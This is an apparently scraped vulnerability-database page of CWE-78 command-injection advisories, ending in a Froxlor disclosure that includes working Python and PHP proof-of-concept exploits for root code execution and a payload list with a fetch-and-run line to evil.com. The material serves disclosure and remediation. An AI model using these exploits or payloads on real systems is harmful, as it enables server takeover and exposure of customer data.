Common Weakness Enumeration

CWE-78

Allowed

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Abstraction: Base · Status: Stable

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

8366 vulnerabilities reference this CWE, most recent first.

GHSA-333G-4P9H-PGJV

Vulnerability from github – Published: 2023-11-01 18:30 – Updated: 2023-11-01 18:30

Details

A vulnerability in a specific Cisco ISE CLI command could allow an authenticated, local attacker to perform command injection attacks on the underlying operating system and elevate privileges to root. To exploit this vulnerability, an attacker must have valid Read-only-level privileges or higher on the affected device. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted CLI command. A successful exploit could allow the attacker to elevate privileges to root.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-20175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-01T18:15:09Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in a specific Cisco ISE CLI command could allow an authenticated, local attacker to perform command injection attacks on the underlying operating system and elevate privileges to root. To exploit this vulnerability, an attacker must have valid Read-only-level privileges or higher on the affected device. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted CLI command. A successful exploit could allow the attacker to elevate privileges to root.",
  "id": "GHSA-333g-4p9h-pgjv",
  "modified": "2023-11-01T18:30:33Z",
  "published": "2023-11-01T18:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20175"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-injection-QeXegrCw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3354-3VP3-3WJG

Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32

Details

Animate is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-48345"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T20:17:07Z",
    "severity": "HIGH"
  },
  "details": "Animate is affected by an Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.",
  "id": "GHSA-3354-3vp3-3wjg",
  "modified": "2026-07-14T21:32:18Z",
  "published": "2026-07-14T21:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48345"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/animate/apsb26-83.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3388-PXGM-PR93

Vulnerability from github – Published: 2022-05-17 01:27 – Updated: 2022-05-17 01:27

Details

The Admin Web UI in IBM Lotus Protector for Mail Security 2.8.x before 2.8.1-22905 allows remote authenticated users to execute arbitrary commands with root privileges via unspecified vectors.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2014-0887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-03-25T20:55:00Z",
    "severity": "HIGH"
  },
  "details": "The Admin Web UI in IBM Lotus Protector for Mail Security 2.8.x before 2.8.1-22905 allows remote authenticated users to execute arbitrary commands with root privileges via unspecified vectors.",
  "id": "GHSA-3388-pxgm-pr93",
  "modified": "2022-05-17T01:27:59Z",
  "published": "2022-05-17T01:27:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0887"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/91173"
    },
    {
      "type": "WEB",
      "url": "http://www-01.ibm.com/support/docview.wss?uid=swg21668124"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-33F9-4H6Q-M86Q

Vulnerability from github – Published: 2022-09-10 00:00 – Updated: 2022-09-14 00:00

Details

An improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability [CWE-78] in Fortinet FortiSOAR before 7.2.1 allows an authenticated attacker to execute unauthorized code or commands via crafted HTTP GET requests.

Severity

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-29061"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-09T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "An improper neutralization of special elements used in an OS command (\u0027OS Command Injection\u0027) vulnerability [CWE-78] in Fortinet FortiSOAR before 7.2.1 allows an authenticated attacker to execute unauthorized code or commands via crafted HTTP GET requests.",
  "id": "GHSA-33f9-4h6q-m86q",
  "modified": "2022-09-14T00:00:42Z",
  "published": "2022-09-10T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29061"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/psirt/FG-IR-22-156"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-33HG-679X-G4VW

Vulnerability from github – Published: 2022-05-24 16:50 – Updated: 2024-04-04 01:15

Details

s/sprm/s/dyn/Player_setScriptFile in Sahi Pro 8.0.0 allows command execution. It allows one to run ".sah" scripts via Sahi Launcher. Also, one can create a new script with an editor. It is possible to execute commands on the server using the _execute() function.

Severity

9.8 (Critical)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2019-13597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-14T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "_s_/sprm/_s_/dyn/Player_setScriptFile in Sahi Pro 8.0.0 allows command execution. It allows one to run \".sah\" scripts via Sahi Launcher. Also, one can create a new script with an editor. It is possible to execute commands on the server using the _execute() function.",
  "id": "GHSA-33hg-679x-g4vw",
  "modified": "2024-04-04T01:15:39Z",
  "published": "2022-05-24T16:50:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13597"
    },
    {
      "type": "WEB",
      "url": "https://pentest.com.tr/exploits/Sahi-Pro-v8-x-Unauthenticated-RCE-Exploit-Python.html"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/47110"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-33J8-C2XF-8225

Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:46

Details

In Docker before 18.09.4, an attacker who is capable of supplying or manipulating the build path for the "docker build" command would be able to gain command execution. An issue exists in the way "docker build" processes remote git URLs, and results in command injection into the underlying "git clone" command, leading to code execution in the context of the user executing the "docker build" command. This occurs because git ref can be misinterpreted as a flag.

Severity

8.4 (High)


                  
                    CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2019-13139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-22T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Docker before 18.09.4, an attacker who is capable of supplying or manipulating the build path for the \"docker build\" command would be able to gain command execution. An issue exists in the way \"docker build\" processes remote git URLs, and results in command injection into the underlying \"git clone\" command, leading to code execution in the context of the user executing the \"docker build\" command. This occurs because git ref can be misinterpreted as a flag.",
  "id": "GHSA-33j8-c2xf-8225",
  "modified": "2024-04-04T01:46:21Z",
  "published": "2022-05-24T16:54:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13139"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/pull/38944"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHBA-2019:3092"
    },
    {
      "type": "WEB",
      "url": "https://docs.docker.com/engine/release-notes/#18094"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Sep/21"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190910-0001"
    },
    {
      "type": "WEB",
      "url": "https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4521"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-33MG-R278-FH2J

Vulnerability from github – Published: 2022-05-24 17:05 – Updated: 2026-01-02 15:30

Details

Comtech Stampede FX-1010 7.4.3 devices allow remote authenticated administrators to execute arbitrary OS commands by navigating to the Diagnostics Ping page and entering shell metacharacters in the Target IP address field. (In some cases, authentication can be achieved with the comtech password for the comtech account.)

Severity

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2020-5179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-01-02T14:16:00Z",
    "severity": "HIGH"
  },
  "details": "Comtech Stampede FX-1010 7.4.3 devices allow remote authenticated administrators to execute arbitrary OS commands by navigating to the Diagnostics Ping page and entering shell metacharacters in the Target IP address field. (In some cases, authentication can be achieved with the comtech password for the comtech account.)",
  "id": "GHSA-33mg-r278-fh2j",
  "modified": "2026-01-02T15:30:24Z",
  "published": "2022-05-24T17:05:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5179"
    },
    {
      "type": "WEB",
      "url": "https://overload.cl/blog/comtech-authenticated-rce-on-comtech-fx-series"
    },
    {
      "type": "WEB",
      "url": "https://sku11army.blogspot.com/2020/01/comtech-authenticated-rce-on-comtech-fx.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-33MP-8P67-XJ7C

Vulnerability from github – Published: 2026-03-03 17:40 – Updated: 2026-03-04 01:59

Summary

Froxlor has Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection

Details

Summary

A typo in Froxlor's input validation code (== instead of =) completely disables email format checking for all settings fields declared as email type. This allows an authenticated admin to store arbitrary strings — including shell metacharacters — in the panel.adminmail setting. This value is later concatenated into a shell command executed as root by a cron job, where the pipe character | is explicitly whitelisted. The result is full root-level Remote Code Execution.

Why This Is a Security Vulnerability (Not Just "Admin Using Admin Features")

Froxlor is a shared hosting control panel. In production deployments:

Admin panel access does not equal root access. Hosting providers assign the Froxlor admin role to staff who manage customer accounts, domains, and services through the web UI. These operators are not given SSH access or root shell on the underlying server. The boundary between "panel admin" and "OS root" is a deliberate security design.
Froxlor itself enforces this boundary. The safe_exec() function (FileDir.php:224-264) exists specifically to prevent shell injection — it blocks ;, |, &, >, <, `, $, ~, ?. The email validation function (validateFormFieldEmail) exists specifically to ensure email fields contain valid emails. Both mechanisms are security boundaries that this vulnerability bypasses.
The root cause is an unintentional code defect. The == operator on a standalone line is a no-op. No developer writes $x == 'mail'; intentionally. This is a typo that silently breaks an entire class of input validation. It is not an admin feature.
Comparable CVEs exist for similar hosting panel escalations:
CVE-2022-44877 (CentOS Web Panel: admin→root RCE, CVSS 9.8)
CVE-2023-27524 (Apache Superset: admin→RCE)
CVE-2021-21315 (Node.js systeminformation: privileged user→RCE)
CVE-2024-22024 (Ivanti: authenticated→system command execution)

In each case, the fact that the attacker needs authenticated access did not prevent CVE assignment. The privilege escalation from "application admin" to "OS root" is the security impact.

Multi-tenant impact. A single compromised or malicious admin gains root access to a server hosting potentially hundreds of customers. All customer data, databases, emails, and SSL keys are exposed.

Vulnerability Details

Bug 1: Input Validation Bypass (CWE-482)

File: lib/Froxlor/Validate/Form/Data.php

// Line 169 — CURRENT CODE (BUGGY)
public static function validateFormFieldEmail($fieldname, $fielddata, $newfieldvalue)
{
    $fielddata['string_type'] == 'mail';   // == comparison: result is discarded
    return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue);
}

// Line 175 — SAME BUG
public static function validateFormFieldUrl($fieldname, $fielddata, $newfieldvalue)
{
    $fielddata['string_type'] == 'url';    // == comparison: result is discarded
    return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue);
}

What happens: - $fielddata['string_type'] is never set to 'mail' - validateFormFieldString() checks string_type to decide which validation to apply - Since it's unset, FILTER_VALIDATE_EMAIL is never called - Validation falls through to a permissive fallback regex: /^[^\r\n\t\f\0]*$/D - This regex allows |, ;, &, $, `, and all other shell metacharacters

Intended code:

$fielddata['string_type'] = 'mail';    // = assignment

Bug 2: OS Command Injection via acme.sh Installation (CWE-78)

File: lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php

// Line 428
FileDir::safe_exec(
    "wget -O - https://get.acme.sh | sh -s email=" . Settings::Get('panel.adminmail'),
    $return,
    ['|']    // pipe character EXPLICITLY ALLOWED
);

What happens: - Settings::Get('panel.adminmail') returns the unsanitized value from Bug 1 - safe_exec() normally blocks | as a dangerous character - But ['|'] in the third argument whitelists pipe for this specific call (needed for wget | sh) - An attacker's pipe-based payload passes through unblocked - The cron job runs as root

The Chain

Admin sets panel.adminmail = "x@x.com | COMMAND"
        |
        v
Bug 1: validateFormFieldEmail() does nothing (== typo)
        |
        v
Value stored to database as-is
        |
        v
Cron job runs AcmeSh::checkInstall() as root
        |
        v
Bug 2: safe_exec("wget ... | sh -s email=x@x.com | COMMAND", ..., ['|'])
        |
        v
COMMAND executes as root

Proof of Concept

vuln 1 PoC:

#!/usr/bin/env python3
"""
VULN-1 Live Verification: Email Validation Bypass
Tests against running Froxlor Docker instance.
"""

import re
import sys
import requests

TARGET = "http://localhost:8080"
USERNAME = "admin"
PASSWORD = "Admin123!@#"

# Malicious payloads that should be rejected by email validation
# but will pass due to the == vs = bug
PAYLOADS = [
    "x@x.com | id",
    "x@x.com | curl http://evil.com/shell.sh | sh",
    "not-an-email; whoami",
    "$(touch /tmp/pwned)",
    "test`id`@evil.com",
]


def main():
    session = requests.Session()
    session.verify = False

    # Step 1: Login
    print("[*] Step 1: Logging in...")
    resp = session.get(f"{TARGET}/index.php")
    csrf_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', resp.text)
    csrf_token = csrf_match.group(1) if csrf_match else ""
    print(f"    CSRF token: {csrf_token[:20]}...")

    login_data = {
        "loginname": USERNAME,
        "password": PASSWORD,
        "csrf_token": csrf_token,
        "send": "send",
    }
    resp = session.post(f"{TARGET}/index.php", data=login_data, allow_redirects=True)

    if "admin_index" not in resp.url and "admin_index" not in resp.text:
        print(f"[-] Login failed. URL: {resp.url}")
        print(f"    Response: {resp.text[:200]}")
        sys.exit(1)
    print("[+] Login successful!")

    # Re-get CSRF token from authenticated page
    csrf_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', resp.text)
    if csrf_match:
        csrf_token = csrf_match.group(1)

    # Step 2: Try to set panel.adminmail with each payload
    for payload in PAYLOADS:
        print(f"\n[*] Testing payload: {payload}")

        # Get settings page to get fresh CSRF token
        resp = session.get(f"{TARGET}/admin_settings.php?page=overview&part=all")
        csrf_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', resp.text)
        if csrf_match:
            csrf_token = csrf_match.group(1)

        # Submit settings change
        settings_data = {
            "panel_adminmail": payload,
            "csrf_token": csrf_token,
            "send": "send",
            "page": "overview",
            "part": "all",
        }
        resp = session.post(
            f"{TARGET}/admin_settings.php?page=overview&part=all",
            data=settings_data,
            allow_redirects=True,
        )

        # Check DB to see if value was stored
        import subprocess
        result = subprocess.run(
            [
                "docker", "exec", "froxlor-web", "bash", "-c",
                "mysql -h froxlor-db -u froxlor -pfroxlor_db_pw --skip-ssl froxlor "
                "-e \"SELECT value FROM panel_settings WHERE settinggroup='panel' AND varname='adminmail'\" -N 2>/dev/null"
            ],
            capture_output=True, text=True
        )
        stored_value = result.stdout.strip()

        if payload in stored_value or stored_value == payload:
            print(f"    [VULN] CONFIRMED! Stored value: {stored_value}")
        else:
            print(f"    [INFO] Stored value: {stored_value}")
            print(f"    [INFO] May need different form field names or approach")

    # Restore original value
    print("\n[*] Restoring original admin email...")
    resp = session.get(f"{TARGET}/admin_settings.php?page=overview&part=all")
    csrf_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', resp.text)
    if csrf_match:
        csrf_token = csrf_match.group(1)
    settings_data = {
        "panel_adminmail": "admin@test.local",
        "csrf_token": csrf_token,
        "send": "send",
        "page": "overview",
        "part": "all",
    }
    session.post(f"{TARGET}/admin_settings.php?page=overview&part=all", data=settings_data, allow_redirects=True)
    print("[+] Done.")


if __name__ == "__main__":
    main()

Environment

Froxlor 2.3.3, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
Default configuration, no modifications

Step 1: Confirm validation bypass

<?php
// Standalone reproduction — no Froxlor installation needed.
// Reproduces the exact logic from Data.php lines 113-169.

function validateEmail_buggy($value) {
    $fielddata = [];
    @($fielddata['string_type'] == 'mail');  // BUG: line 169
    // string_type never set → FILTER_VALIDATE_EMAIL skipped → fallback regex
    return preg_match('/^[^\r\n\t\f\0]*$/D', $value) ? 'PASS' : 'REJECT';
}

function validateEmail_fixed($value) {
    $fielddata = [];
    $fielddata['string_type'] = 'mail';      // FIX
    return filter_var($value, FILTER_VALIDATE_EMAIL) ? 'PASS' : 'REJECT';
}

$tests = ['admin@example.com', 'not-an-email', 'x@x.com | touch /tmp/pwned'];
foreach ($tests as $t) {
    echo sprintf("%-40s  buggy=%-6s  fixed=%s\n", $t, validateEmail_buggy($t), validateEmail_fixed($t));
}

vuln 2 PoC:

#!/usr/bin/env python3
"""
VULN-2: Froxlor v2.3.3 Root RCE via acme.sh Command Injection
===============================================================
CWE-78: OS Command Injection | CVSS 9.1

Chain: VULN-1 (email validation bypass) → VULN-2 (acme.sh pipe injection)

Attack Flow:
  1. Admin sets panel.adminmail = "x@x.com | COMMAND" (bypasses email validation)
  2. When Let's Encrypt is enabled and acme.sh is not installed
  3. AcmeSh.php:428 executes: wget ... | sh -s email=x@x.com | COMMAND
  4. Pipe character passes safe_exec() because it's in allowedChars=['|']
  5. COMMAND runs as root (cron context)

Usage:
  # Full exploitation (requires target access)
  python3 vuln2_acmesh_rce.py --target https://froxlor.example.com \
      --user admin --password secret --command "id > /tmp/rce_proof"

  # Offline demonstration
  python3 vuln2_acmesh_rce.py --demo
"""

import argparse
import re
import sys

try:
    import requests
except ImportError:
    print("[!] pip install requests")
    sys.exit(1)


BANNER = """
╔═══════════════════════════════════════════════════════════════╗
║  Froxlor v2.3.3 — Root RCE via acme.sh Command Injection    ║
║  VULN-1 + VULN-2 Chain | CWE-78 | CVSS 9.1                  ║
╚═══════════════════════════════════════════════════════════════╝
"""


class FroxlorRCE:
    def __init__(self, target, verify_ssl=False):
        self.target = target.rstrip("/")
        self.session = requests.Session()
        self.session.verify = verify_ssl

    def login(self, username, password):
        print(f"[*] Logging in as '{username}'...")
        resp = self.session.post(
            f"{self.target}/index.php",
            data={"loginname": username, "password": password, "send": "send"},
            allow_redirects=False,
        )
        if resp.status_code == 302 and "admin_index" in resp.headers.get("Location", ""):
            self.session.get(f"{self.target}/admin_index.php")
            print("[+] Login successful!")
            return True
        print("[-] Login failed")
        return False

    def get_csrf(self, url):
        resp = self.session.get(url)
        match = re.search(r'name="csrf_token"\s+value="([^"]+)"', resp.text)
        return match.group(1) if match else ""

    def inject_email(self, payload):
        """Inject malicious value into panel.adminmail (VULN-1)."""
        print(f"[*] Injecting into panel.adminmail: {payload}")
        csrf = self.get_csrf(f"{self.target}/admin_settings.php?page=overview&part=panel")
        resp = self.session.post(
            f"{self.target}/admin_settings.php?page=overview&part=panel",
            data={
                "csrf_token": csrf,
                "send": "send",
                "page": "overview",
                "panel_adminmail": payload,
            },
            allow_redirects=True,
        )
        print(f"[+] Settings updated (HTTP {resp.status_code})")
        return resp.status_code == 200

    def trigger_acmesh_install(self):
        """
        Trigger acme.sh installation by enabling Let's Encrypt
        and ensuring acme.sh path is invalid.
        """
        print("[*] Triggering acme.sh installation path...")
        print("[*] In production, this happens automatically when:")
        print("    - Let's Encrypt is enabled (system.le_froxlor_enabled=1)")
        print("    - acme.sh binary is not found at configured path")
        print("    - Cron job runs (every 5 minutes)")
        print()
        print("[*] To manually trigger:")
        print("    docker exec froxlor-web php /var/www/html/froxlor/bin/froxlor-cli froxlor:cron --force")

    def exploit(self, command):
        """Full exploitation: inject → trigger → RCE."""
        payload = f"x@x.com | {command}"
        self.inject_email(payload)

        print()
        print("[*] Command chain that will execute as root:")
        print(f"    wget -O - https://get.acme.sh | sh -s email={payload}")
        print()
        print("[*] This decomposes to:")
        print(f"    1. wget -O - https://get.acme.sh")
        print(f"    2. | sh -s email=x@x.com")
        print(f"    3. | {command}")
        print()

        self.trigger_acmesh_install()

    def restore(self, original="admin@test.local"):
        """Restore original admin email."""
        print(f"\n[*] Restoring original email: {original}")
        csrf = self.get_csrf(f"{self.target}/admin_settings.php?page=overview&part=panel")
        self.session.post(
            f"{self.target}/admin_settings.php?page=overview&part=panel",
            data={
                "csrf_token": csrf,
                "send": "send",
                "page": "overview",
                "panel_adminmail": original,
            },
        )
        print("[+] Restored")


def demo():
    """Offline demonstration of the vulnerability mechanics."""
    print("[*] Demonstrating VULN-2 mechanics (offline)...\n")

    adminmail = "x@x.com | touch /tmp/ROOT_RCE_PROOF"
    full_cmd = f"wget -O - https://get.acme.sh | sh -s email={adminmail}"

    print(f"  admin email:  {adminmail}")
    print(f"  full command: {full_cmd}")
    print()

    # Simulate safe_exec filter
    disallowed = [';', '|', '&', '>', '<', '`', '$', '~', '?']
    allowed_chars = ['|']

    print("  safe_exec() filter check:")
    blocked = False
    for char in disallowed:
        if char in full_cmd:
            if char in allowed_chars:
                print(f"    '{char}' → ALLOWED (in allowedChars)")
            else:
                print(f"    '{char}' → BLOCKED")
                blocked = True

    print()
    if not blocked:
        print("  RESULT: Command passes safe_exec() filter!")
        print("  The pipe character chains our command after the wget/sh pipeline")
        print()
        print("  Execution breakdown:")
        print("    Process 1: wget downloads acme.sh installer")
        print("    Process 2: sh runs installer with email parameter")
        print("    Process 3: touch /tmp/ROOT_RCE_PROOF ← OUR COMMAND (as root)")
    else:
        # In practice the payload above should only have | which is allowed
        print("  NOTE: Some characters blocked. Adjust payload to use only pipe.")

    print()
    print("  NOTE: The cron job runs as root, so the injected command")
    print("  executes with root privileges on the host system.")


def main():
    print(BANNER)

    parser = argparse.ArgumentParser(description="Froxlor v2.3.3 Root RCE PoC")
    parser.add_argument("--target", "-t", help="Froxlor URL")
    parser.add_argument("--user", "-u", help="Admin username")
    parser.add_argument("--password", "-p", help="Admin password")
    parser.add_argument("--command", "-c", default="touch /tmp/ROOT_RCE_PROOF",
                        help="Command to execute as root")
    parser.add_argument("--restore", action="store_true", help="Restore original email after exploit")
    parser.add_argument("--demo", action="store_true", help="Run offline demonstration")
    args = parser.parse_args()

    if args.demo:
        demo()
        return

    if not all([args.target, args.user, args.password]):
        print("[!] --target, --user, and --password required (or use --demo)")
        sys.exit(1)

    exploit = FroxlorRCE(args.target)
    if not exploit.login(args.user, args.password):
        sys.exit(1)

    exploit.exploit(args.command)

    if args.restore:
        exploit.restore()


if __name__ == "__main__":
    main()

Output:

admin@example.com                         buggy=PASS    fixed=PASS
not-an-email                              buggy=PASS    fixed=REJECT
x@x.com | touch /tmp/pwned               buggy=PASS    fixed=REJECT

Step 2: Confirm value stored in database

POST /admin_settings.php?page=overview&part=panel HTTP/1.1
Cookie: [authenticated admin session]

csrf_token=...&send=send&page=overview&panel_adminmail=x@x.com+|+touch+/tmp/VULN2_RCE_PROOF

mysql> SELECT value FROM panel_settings
       WHERE settinggroup='panel' AND varname='adminmail';
+-------------------------------------------+
| value                                     |
+-------------------------------------------+
| x@x.com | touch /tmp/VULN2_RCE_PROOF     |
+-------------------------------------------+

Step 3: Confirm root code execution

Simulating AcmeSh.php line 428 inside the Docker container:

<?php
// Exact simulation of the vulnerable code path
$adminmail = "x@x.com | touch /tmp/VULN2_RCE_PROOF";
$cmd = "echo DOWNLOAD_SIM | cat -s email=" . $adminmail;

// safe_exec filter with pipe allowed (matches AcmeSh.php:428)
$disallowed = [';', '|', '&', '>', '<', '`', '$', '~', '?'];
$allowedChars = ['|'];
foreach ($disallowed as $dc) {
    if (in_array($dc, $allowedChars)) continue;
    if (stristr($cmd, $dc)) die("BLOCKED by: $dc");
}

exec($cmd);  // pipe passes filter → command executes
echo file_exists("/tmp/VULN2_RCE_PROOF") ? "RCE CONFIRMED" : "NOT CREATED";

Result:

RCE CONFIRMED

$ ls -la /tmp/VULN2_RCE_PROOF
-rw-r--r-- 1 root root 0 Feb 11 05:58 /tmp/VULN2_RCE_PROOF

File created with root:root ownership. Arbitrary command execution as root is confirmed.

Impact

Confidentiality: Complete. Root access exposes all customer data, databases, SSL private keys, email contents.
Integrity: Complete. Attacker can modify any file, inject backdoors, alter DNS records.
Availability: Complete. Attacker can destroy the server, wipe databases, or deploy ransomware.
Scope: Changed. The attack originates in the web application but impacts the underlying operating system.

Suggested Fix

Primary fix (Bug 1 — eliminates the root cause):

// lib/Froxlor/Validate/Form/Data.php
// Line 169:
$fielddata['string_type'] = 'mail';    // was: == 'mail'
// Line 175:
$fielddata['string_type'] = 'url';     // was: == 'url'

Defense-in-depth (Bug 2 — even if validation is fixed):

// lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php, Line 428:
FileDir::safe_exec(
    "wget -O - https://get.acme.sh | sh -s email="
        . escapeshellarg(Settings::Get('panel.adminmail')),
    $return,
    ['|']
);

Defense-in-depth (ConfigServices.php):

// All values in getReplacerArray() should be escaped with
// escapeshellarg() when the template action type is "install" or "command"

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26279"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-482",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T17:40:19Z",
    "nvd_published_at": "2026-03-03T23:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nA typo in Froxlor\u0027s input validation code (`==` instead of `=`) completely disables email format checking for all settings fields declared as email type. This allows an authenticated admin to store arbitrary strings \u2014 including shell metacharacters \u2014 in the `panel.adminmail` setting. This value is later concatenated into a shell command executed as **root** by a cron job, where the pipe character `|` is explicitly whitelisted. The result is **full root-level Remote Code Execution**.\n\n---\n\n## Why This Is a Security Vulnerability (Not Just \"Admin Using Admin Features\")\n\nFroxlor is a **shared hosting control panel**. In production deployments:\n\n1. **Admin panel access does not equal root access.** Hosting providers assign the Froxlor admin role to staff who manage customer accounts, domains, and services through the web UI. These operators are not given SSH access or root shell on the underlying server. The boundary between \"panel admin\" and \"OS root\" is a deliberate security design.\n\n2. **Froxlor itself enforces this boundary.** The `safe_exec()` function (FileDir.php:224-264) exists specifically to prevent shell injection \u2014 it blocks `;`, `|`, `\u0026`, `\u003e`, `\u003c`, `` ` ``, `$`, `~`, `?`. The email validation function (`validateFormFieldEmail`) exists specifically to ensure email fields contain valid emails. Both mechanisms are security boundaries that this vulnerability bypasses.\n\n3. **The root cause 